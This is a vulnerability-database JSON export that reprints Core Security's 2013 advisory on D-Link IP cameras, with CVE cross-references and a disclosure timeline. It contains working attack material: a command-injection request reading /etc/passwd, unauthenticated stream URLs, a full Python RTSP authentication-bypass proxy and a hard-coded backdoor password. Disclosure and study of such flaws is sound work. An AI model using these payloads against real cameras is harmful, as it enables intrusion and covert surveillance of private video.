\n        return data\n\nif __name__ == \u0027__main__\u0027:\n    if len( sys.argv ) \u003e 1:\n        listener_port = camera_port = int(sys.argv[1])\n        camera_ip = sys.argv[2]\n        if len(sys.argv) == 4:\n            camera_port = int(sys.argv[3])\n        RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n    else:\n        print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027   \n-----/\n\n7.5. \n\n/-----\nusername: (any)           \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character \u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468               ; Load from Memory\n.text:00011468 LDR     R3, [R11,#s2]\n.text:0001146C STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR     R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR     R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD     R3, R2, R3      ; Rd = Op1 + Op2\n.text:0001147C SUB     R3, R3, #3      ; Rd = Op1 - Op2\n.text:00011480 STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR     R0, [R11,#var_C0] ; s1\n.text:00011488 LDR     R1, =asc_1B060  ; \":?*\"      \u003c-------\n.text:0001148C MOV     R2, #3          ; n\n.text:00011490 BL      strncmp         ; Branch with Link\n.text:00011494 MOV     R3, R0          ; Rd = Op2\n.text:00011498 CMP     R3, #0          ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE     loc_114BC       ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2013-1603"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04638"
      },
      {
        "db": "BID",
        "id": "59571"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      }
    ],
    "trust": 2.52
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2013-1603",
        "trust": 3.4
      },
      {
        "db": "BID",
        "id": "59571",
        "trust": 2.5
      },
      {
        "db": "VULDB",
        "id": "8575",
        "trust": 1.6
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007157",
        "trust": 0.8
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04638",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-041",
        "trust": 0.6
      },
      {
        "db": "PACKETSTORM",
        "id": "121452",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04638"
      },
      {
        "db": "BID",
        "id": "59571"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-041"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1603"
      }
    ]
  },
  "id": "VAR-202001-0843",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04638"
      }
    ],
    "trust": 1.4399058611111109
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "IoT",
          "Network device"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04638"
      }
    ]
  },
  "last_update_date": "2024-08-14T14:12:01.537000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Top\u00a0Page",
        "trust": 0.8,
        "url": "http://www.dlink.lt/en/"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-798",
        "trust": 1.0
      },
      {
        "problemtype": "Using hard-coded credentials (CWE-798) [NVD Evaluation ]",
        "trust": 0.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1603"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.8,
        "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
      },
      {
        "trust": 1.6,
        "url": "http://www.securityfocus.com/bid/59571"
      },
      {
        "trust": 1.6,
        "url": "https://packetstormsecurity.com/files/cve/cve-2013-1603"
      },
      {
        "trust": 1.6,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
      },
      {
        "trust": 1.6,
        "url": "https://vuldb.com/?id.8575"
      },
      {
        "trust": 1.5,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1603"
      },
      {
        "trust": 0.6,
        "url": "http://seclists.org/fulldisclosure/2013/apr/253"
      },
      {
        "trust": 0.3,
        "url": "http://www.dlink.com/"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/md/lums.cgi"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1599"
      },
      {
        "trust": 0.1,
        "url": "http://www.dlink.com/us/en/home-solutions/view/network-cameras."
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1600"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com/"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1601"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png."
      },
      {
        "trust": 0.1,
        "url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1602"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/upnp/asf-mp4.asf"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04638"
      },
      {
        "db": "BID",
        "id": "59571"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-041"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1603"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04638"
      },
      {
        "db": "BID",
        "id": "59571"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-041"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1603"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-05-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-04638"
      },
      {
        "date": "2013-04-29T00:00:00",
        "db": "BID",
        "id": "59571"
      },
      {
        "date": "2020-02-18T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      },
      {
        "date": "2013-04-29T23:41:50",
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "date": "2013-04-29T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201305-041"
      },
      {
        "date": "2020-01-28T22:15:10.917000",
        "db": "NVD",
        "id": "CVE-2013-1603"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-05-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-04638"
      },
      {
        "date": "2013-04-29T00:00:00",
        "db": "BID",
        "id": "59571"
      },
      {
        "date": "2020-02-18T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      },
      {
        "date": "2020-05-25T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201305-041"
      },
      {
        "date": "2021-04-26T16:35:52.177000",
        "db": "NVD",
        "id": "CVE-2013-1603"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-041"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "plural \u00a0D-Link\u00a0 Vulnerability in using hardcoded credentials in product",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "trust management problem",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-041"
      }
    ],
    "trust": 0.6
  }
}

var-202001-0842
Vulnerability from variot

An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. Exploiting this issue could allow an unauthenticated attacker to gain access to potentially sensitive information, such as a video stream. Advisory Information

Title: D-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0303 Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-03-29 Vendors contacted: D-Link Corporation Release mode: Coordinated release

  1. Vulnerability Information

Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603

  1. Vulnerability Description

Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:

  1. [CVE-2013-1599] to execute arbitrary commands from the administration web interface,
  2. [CVE-2013-1600] to access the video stream via HTTP,
  3. [CVE-2013-1601] to access the ASCII video stream via image luminance,
  4. [CVE-2013-1602] to access the video stream via RTSP,
  5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.

  6. Vulnerable Packages

The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.

[CVE-2013-1599] . DCS-3411/3430 - firmware v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02

[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1601] and [CVE-2013-1603] . DCS-3411/3430 - v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02

[CVE-2013-1602] . ALL mentioned devices and firmware.

  1. Vendor Information, Solutions and Workarounds

D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.

  1. Credits

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

  1. Technical Description / Proof of Concept Code

7.1. OS Command Injection

[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi' allows an unauthenticated remote attacker to execute arbitrary commands through the camera's web interface. The OS command injection is due to this code in 'rtpd.cgi':

/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

-----/ The first line of this snippet basically ensures that there are no spaces in '$QUERY_STRING'. The last line uses 'sed' to replace ampersands '&' with spaces, and then call to the function 'eval()', resulting in a typical command injection. For example, in order to execute:

/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:

/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/

7.2. ASCII Video Stream Information Leak

[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:

/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:

/----- O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o O O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o O O O O O O O O O O O O o o o o . o o o o o o o O O O O O O O O O O o . o O O o . o o o o o o O O O O O O O O O . o o o o o o O O O O O O O O . o o o o o o o o O O O O O O O . o O O o . o o o o o o o o o O O O O O O o . O O O O O O . o o o o o o o o o O O O O O O . O O O O O O O . o o o o o o o o o O O O O O O o O O O O O O O . o . o o o o o o o o O O O O O O o O O O O O O O . o o o . o o o o o o o o O O O O O O o O O O O O O o . o O O o O O . o o o o o o o O O O O O O . o O O O O O O o . O O O o O O . o o o o o o O O O O O O . O O O O O o . O O o o O O o . o o o o o o O O O O O O o O O O O O o . o O O o o O O o . o o o o o O O O O O O O O O O O O . o O O o o O O o . o o o o o O O O O O O O . o O O O o . o o o O o o O O o . o o o o O O O O O O O o . O O O o . o o o O o o O O o . o o o o O O O O O O O O . O O O . o o o O o o O O o . o o o o O O O O O O O O O O O . o o o O o o O O o . o o o O O O O O O O O o o O o o o o o O o o o O o . o o o O O O O O O O O O . O o o o o o O o . o O o . o o O O O O O O O O O . O o . o o o o O . o O o . o O O O O O O O O O o o . o o o o o . o O o . o O O O O O O O O O O . o o o . o . o O o . o O O O O O O O O O . o o o . o . O o .
o o O O O O O O O O o . o o o . o . O o .
o o o O O O O O O O o . o o o . o . O o .

-----/

7.4. RTSP Authentication Bypass

[CVE-2013-1602] This vulnerability is triggered because:

  1. Authentication is only present in DESCRIBE requests but not in every subsequent request.
  2. When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead).

/----- import sys from socket import * from threading import Thread import time, re

LOGGING = 1

def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)

class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr

def run(self):
    sender = socket(AF_INET, SOCK_DGRAM)
    sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    sender.sendto(self.data_to_send, self.dst_addr)
    response = sender.recv(1024)
    sender.sendto(response, self.recv_addr)
    sender.close()

class UDPDispatcher(Thread): dispatchers = []

def __has_dispatcher_for(self, port):
    return any([d.src_port == port for d in UDPDispatcher.dispatchers])

def __init__(self, src_port, dst_addr):
    Thread.__init__(self)
    if self.__has_dispatcher_for(src_port):
        raise Exception('There is already a dispatcher for port %d'

% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)

def run(self):
    listener = socket(AF_INET, SOCK_DGRAM)
    listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    listener.bind(('', self.src_port))
    while 1:
        try:
            data, recv_addr = listener.recvfrom(1024)
            if not data: break
            UDPRequestHandler(data, recv_addr, self.dst_addr).start()
        except Exception as e:
            print e
            break        
    listener.close()
    UDPDispatcher.dispatchers.remove( self )

class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)

def run(self):
    while 1:
        try:
            data = self.source.recv(1024)
            data = self.process_data_callback(data)
            if not data: break
            self.sink.send( data )
        except Exception as e:
            log(e)
            break
    PipeThread.pipes.remove(self)

class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)

def run(self):
    while 1:
        # Wait until a new connection arises
        newsock, address = self.sock.accept()
        # Create forwarder socket
        fwd = socket(AF_INET, SOCK_STREAM)
        fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        fwd.connect(self.dst_addr)
        # Pipe them!
        PipeThread(newsock, fwd, self.process_data_callback).start()
        PipeThread(fwd, newsock, self.process_data_callback).start()

class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''

class DLink(Camera): # D-Link DCS-2102/1.06-5731 def init(self, address): Camera.init(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'

class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'

def __init__(self, local_port, camera):
    self.last_describe_req = ''
    self.camera = camera
    self.local_port = local_port

def start(self):
    log('[!] Starting bypasser')
    TCPTunnel(self.local_port, self.camera.address,

self.spoof_rtsp_conn).start()

def spoof_rtsp_conn(self, data):
    if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
        self.last_describe_req = data
    elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and

self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search('.CSeq:\s(\d+?)\r\n.', self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response data = 'RTSP/1.0 200 OK\r\n' data+= 'CSeq: %s\r\n' % cseq data+= 'Content-Type: application/sdp\r\n' data+= 'Content-Length: %d\r\n' % len(spoofed_describe) data+= '\r\n' # Attach the spoofed describe data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search('.
%s\s(.+?)[;|\r].' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start() except: pass
return data

if name == 'main': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, DLink((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
-----/

7.5. RTSP Hard-Coded Credentials

[CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.

/----- username: (any)
password: ?* -----/

As we can see in the following dump, the submitted password is compared with the string ':?*' (the character ':' is used for concatenation of 'username:password'). This code belongs to the binary 'rtspd':

/----- .text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch -----/

